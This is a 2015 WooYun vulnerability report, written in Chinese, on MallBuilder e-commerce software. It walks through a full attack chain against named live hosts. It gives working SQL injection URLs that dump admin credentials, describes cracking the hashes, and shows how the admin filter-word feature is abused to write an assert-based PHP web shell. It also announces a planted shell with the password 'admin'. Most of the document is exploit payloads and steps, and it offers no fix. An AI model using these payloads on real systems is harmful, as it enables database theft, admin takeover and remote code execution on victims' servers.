当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152481

漏洞标题:上海远丰信息科技有限公司旗下产品MallBuilder某处设计缺陷可注入

相关厂商:shop-builder.cn

漏洞作者: 路人甲

提交时间:2015-11-08 21:18

修复时间:2015-11-21 18:10

公开时间:2015-11-21 18:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-08: 细节已通知厂商并且等待厂商处理中
2015-11-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

该注入可以获取后台用户名,有了后台用户名,我们就可以登录挂上一句话,然后就是整站拿下,如果安全不到位,可能会把服务器也拿下,该公司客户网站多个都有此问题。涉及范围比较大。

详细说明:

在7.0+版本中,
文件位于目录

/pay/api/change_status.php


我们先看看文件内容

<?php
/**
* Dsc : 改变订单流水状态
*/
if(!isset($_GET['id'])){die();}
include_once("../includes/global.php");
include_once("../config/table_config.php");
$id = $_GET['id'];
$sql = "update ".CASHFLOW." set `statu` = '2' where `order_id` = '$id' ";
$db -> query($sql);
?>


我们可以看到第六行代码并没有进行过滤,只是做了一个简单的判断
同样在该目录下的

/pay/api/member.php

也有此问题
有了上面的条件之后我们就可以构建语句了

漏洞证明:

查询数据库是否支持,能够返回帮本就说明基本没问题

http://test.yuanfeng021.com/mall_lhh/pay/api/change_status.php?id=1'or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or'


http://www.mallbuilder.cn/pay/api/change_status.php?id=1%27or%20(SELECT%20*%20FROM%20(SELECT(name_const(version(),1)),name_const(version(),1))a)%20or%27


截图1.png


看截图看起来没问题
我们就可以百度上去搜索下,有很多,就不一一示范了

截图2.png


接下来是重点
我们测试可以注入后,我们查询后台管理员信息,注意,如果表前缀改过了,可能需要耗费大量时间来爆表

http://test.yuanfeng021.com/mall_lhh/pay/api/change_status.php?id=1' or updatexml(1,concat(0x7e,(SELECT concat_ws(":",user,name,password) FROM mallbuilder_admin limit 0,1)),0) or'


http://www.mallbuilder.cn/pay/api/change_status.php?id=1' or updatexml(1,concat(0x7e,(SELECT concat_ws(":",user,name,password) FROM mallbuilder_admin limit 0,1)),0) or'


看已经能够查询出用户名以及密码(这里的密码会出现截断现象,自行解决,啧啧)了,但是密码是md5,可以去cmd5解密,看看能不能解

截图3.png


解密成功后,我们就可以打开后台啦

http://test.yuanfeng021.com/mall_lhh/admin


登陆成功

截图4.png


然后切换到工具,点击增加过滤词。我们随便添加一个,比如1

截图5.png


我们再看过滤词管理。有我们刚添加的1,多添加几个,这就不上图了
我们再看下过滤关键词的文件是放在哪的。在

config/filter.inc.php


打开看看

<?php
$find= array('/1/i','/2/i');
$replace=array('*','*');
$banned='';
$_CACHE['word_filter'] = Array
(
'filter' => Array
(
'find' => &$find,
'replace' => &$replace
),
'banned' => &$banned
);
?>


现在我们看第二行与第三行,我们需要构建为自己需要的格式,我们尝试看单引号双引号又没过滤,具体就不讲解了,直接上修改代码,
现在我们就点击刚才我们添加的过滤词,点击修改

截图7.png


把词组与替换分别改成如图所示(ps:安全狗什么的都可以去死了),然后提交数据,会告诉你修改成功,爽歪歪
我们看下修改后的php变成什么样了

<?php
$find= array('/ ');$k="ass"."ert";/*/i');
$replace=array('*/@$k(${"_POST"}[1]);die;//');
$banned='';
$_CACHE['word_filter'] = Array
(
'filter' => Array
(
'find' => &$find,
'replace' => &$replace
),
'banned' => &$banned
);
?>


接下来我们测试下

http://test.yuanfeng021.com/mall_lhh/config/filter.inc.php POST 1=phpinfo()


截图8.png


可以执行phpinfo();好了,然后就没了,都能执行了,那就上传一个大马吧,我已给你们备好一个了

http://test.yuanfeng021.com/mall_lhh/config/asp.php 密码是admin

修复方案:

你们应该比我还清楚,我只是一个小辈

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-21 18:10

厂商回复:

漏洞Rank:2 (WooYun评价)

最新状态:

暂无